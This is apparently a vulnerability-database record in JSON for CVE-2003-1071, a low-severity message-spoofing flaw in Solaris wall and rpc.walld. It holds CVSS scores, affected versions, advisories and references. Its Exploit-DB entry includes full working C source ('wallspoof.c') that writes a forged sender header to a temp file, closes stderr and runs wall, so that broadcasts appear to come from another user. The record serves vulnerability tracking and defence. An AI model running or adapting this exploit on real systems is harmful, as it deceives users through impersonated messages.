{"id": "CVE-2003-1071", "bulletinFamily": "NVD", "title": "CVE-2003-1071", "description": "rpc.walld (wall daemon) for Solaris 2.6 through 9 allows local users to send messages to logged on users that appear to come from arbitrary user IDs by closing stderr before executing wall, then supplying a spoofed from header.", "published": "2003-01-03T05:00:00", "modified": "2018-10-30T16:26:00", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1071", "reporter": "cve@mitre.org", "references": ["http://secunia.com/advisories/7825/", "http://www.kb.cert.org/vuls/id/944241", "http://www.securitytracker.com/id?1005882", "http://www.securityfocus.com/archive/1/305105", "https://exchange.xforce.ibmcloud.com/vulnerabilities/11608", "http://www.securitytracker.com/id?1006682", "http://sunsolve.sun.com/search/document.do?assetkey=1-26-51980-1", "http://www.securityfocus.com/bid/6509"], "cvelist": ["CVE-2003-1071"], "type": "cve", "lastseen": "2021-02-02T05:22:10", "edition": 4, "viewCount": 2, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:22120"]}, {"type": "osvdb", "idList": ["OSVDB:15141"]}], "modified": "2021-02-02T05:22:10", "rev": 2}, "score": {"value": 5.5, "vector": "NONE", "modified": "2021-02-02T05:22:10", "rev": 2}, "vulnersScore": 5.5}, "cpe": ["cpe:/o:sun:solaris:8.0", "cpe:/o:sun:solaris:2.5.1", "cpe:/o:sun:sunos:5.8", "cpe:/o:sun:solaris:2.6", "cpe:/o:sun:sunos:-", "cpe:/o:sun:sunos:5.5.1", "cpe:/o:sun:sunos:5.7", "cpe:/o:sun:solaris:7.0", "cpe:/o:sun:solaris:9.0"], "affectedSoftware": [{"cpeName": "sun:solaris", "name": "sun solaris", "operator": "eq", "version": "2.5.1"}, {"cpeName": "sun:sunos", "name": "sun sunos", "operator": "eq", "version": "5.7"}, {"cpeName": "sun:solaris", "name": "sun solaris", "operator": "eq", "version": "8.0"}, {"cpeName": "sun:solaris", "name": "sun solaris", "operator": "eq", "version": "7.0"}, {"cpeName": "sun:solaris", "name": "sun solaris", "operator": "eq", "version": "9.0"}, {"cpeName": "sun:sunos", "name": "sun sunos", "operator": "eq", "version": "5.5.1"}, {"cpeName": "sun:sunos", "name": "sun sunos", "operator": "eq", "version": "5.8"}, {"cpeName": "sun:solaris", "name": "sun solaris", "operator": "eq", "version": "2.6"}, {"cpeName": "sun:sunos", "name": "sun sunos", "operator": "eq", "version": "-"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 2.1, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "LOW", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:o:sun:sunos:-:*:*:*:*:*:*:*", "cpe:2.3:o:sun:solaris:7.0:*:x86:*:*:*:*:*", "cpe:2.3:o:sun:solaris:9.0:*:sparc:*:*:*:*:*", "cpe:2.3:o:sun:sunos:5.5.1:*:*:*:*:*:*:*", "cpe:2.3:o:sun:solaris:2.6:*:*:*:*:*:*:*", "cpe:2.3:o:sun:sunos:5.8:*:*:*:*:*:*:*", "cpe:2.3:o:sun:sunos:5.7:*:*:*:*:*:*:*", "cpe:2.3:o:sun:solaris:8.0:*:x86:*:*:*:*:*", "cpe:2.3:o:sun:solaris:2.5.1:*:x86:*:*:*:*:*"], "cwe": ["NVD-CWE-Other"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:o:sun:solaris:8.0:*:x86:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:sun:sunos:5.7:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:sun:sunos:5.5.1:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:sun:solaris:9.0:*:sparc:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:sun:sunos:5.8:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:sun:sunos:-:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:sun:solaris:7.0:*:x86:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:sun:solaris:2.5.1:*:x86:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:sun:solaris:2.6:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "20030103 Solaris 2.x /usr/sbin/wall Advisory", "refsource": "BUGTRAQ", "tags": ["Vendor Advisory", "Exploit"], "url": "http://www.securityfocus.com/archive/1/305105"}, {"name": "1005882", "refsource": "SECTRACK", "tags": [], "url": "http://www.securitytracker.com/id?1005882"}, {"name": "51980", "refsource": "SUNALERT", "tags": ["Patch", "Vendor Advisory"], "url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-51980-1"}, {"name": "1006682", "refsource": "SECTRACK", "tags": [], "url": "http://www.securitytracker.com/id?1006682"}, {"name": "7825", "refsource": "SECUNIA", "tags": ["Vendor Advisory"], "url": "http://secunia.com/advisories/7825/"}, {"name": "VU#944241", "refsource": "CERT-VN", "tags": ["Third Party Advisory", "US Government Resource", "Exploit"], "url": "http://www.kb.cert.org/vuls/id/944241"}, {"name": "6509", "refsource": "BID", "tags": [], "url": "http://www.securityfocus.com/bid/6509"}, {"name": "solaris-wall-message-spoofing(11608)", "refsource": "XF", "tags": [], "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/11608"}]}

{"exploitdb": [{"lastseen": "2016-02-02T18:01:08", "description": "Sun Solaris 2.5.1/2.6/7.0/8/9 Wall Spoofed Message Origin Vulnerability. CVE-2003-1071. Local exploit for solaris platform", "published": "2003-01-03T00:00:00", "type": "exploitdb", "title": "Sun Solaris 2.5.1/2.6/7.0/8/9 Wall Spoofed Message Origin Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2003-1071"], "modified": "2003-01-03T00:00:00", "id": "EDB-ID:22120", "href": "https://www.exploit-db.com/exploits/22120/", "sourceData": "source: http://www.securityfocus.com/bid/6509/info\r\n\r\nSolaris is the freely available UNIX Operating System variant distributed by Sun Microsystems.\r\n\r\nThe wall client packaged with Solaris makes assumptions about a user's environment when the client is executed. The assumption is made that if the file descriptor of stderr points to a tty when wall is executed, the user is local. If not, the user is considered remote, and the first five bytes of the\r\nsupplied 'From' text will be used by wall as the users idenfitication. This makes it possible for a user to close stderr prior to the execution of wall, and send a spoofed message using the client. \r\n\r\n/*\r\n wallspoof.c - SOLARIS (X86/SPARC) Exploit\r\n Don't use this in a malicious way! (i.e. to own people)\r\n */\r\n#include <stdio.h>\r\n#include <unistd.h>\r\n#include <stdlib.h>\r\n\r\nint main(int argc, char **argv)\r\n{\r\n char *userhost;\r\n char mesg[2050];\r\n FILE *tmp;\r\n if (argc < 2) {\r\n fprintf (stderr, \"usage: wallspoof user@host\\n\");\r\n exit (-1);\r\n }\r\n userhost = argv[1];\r\n if ((tmp = fopen(\"/tmp/rxax\", \"w\")) == NULL) {\r\n perror (\"open\");\r\n exit (-1);\r\n }\r\n printf (\"Enter your message below. End your message with an EOF (Control+D).\\n\");\r\n fprintf (tmp, \"From %s:\", userhost);\r\n while (fgets(mesg, 2050, stdin) != NULL)\r\n fprintf (tmp, \"%s\", mesg);\r\n fclose (tmp);\r\n fclose (stderr);\r\n printf (\"<Done>\\n\");\r\n system (\"/usr/sbin/wall < /tmp/rxax\");\r\n unlink (\"/tmp/rxax\");\r\n}\r\n", "cvss": {"score": 2.1, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/22120/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:11", "bulletinFamily": "software", "cvelist": ["CVE-2003-1130", "CVE-2003-1071"], "edition": 1, "description": "# No description provided by the source\n\n## References:\n[Vendor Specific Advisory URL](http://sunsolve.sun.com/search/document.do?assetkey=1-26-51980-1)\n[Secunia Advisory ID:7825](https://secuniaresearch.flexerasoftware.com/advisories/7825/)\nMail List Post: http://marc.theaimsgroup.com/?l=bugtraq&m=104161383915984&w=2\nISS X-Force ID: 11608\n[CVE-2003-1071](https://vulners.com/cve/CVE-2003-1071)\n[CVE-2003-1130](https://vulners.com/cve/CVE-2003-1130)\nCERT VU: 944241\nBugtraq ID: 6509\n", "modified": "2003-01-03T23:49:52", "published": "2003-01-03T23:49:52", "href": "https://vulners.com/osvdb/OSVDB:15141", "id": "OSVDB:15141", "title": "Solaris rpc.walld Local Message Spoofing", "type": "osvdb", "cvss": {"score": 2.1, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}]}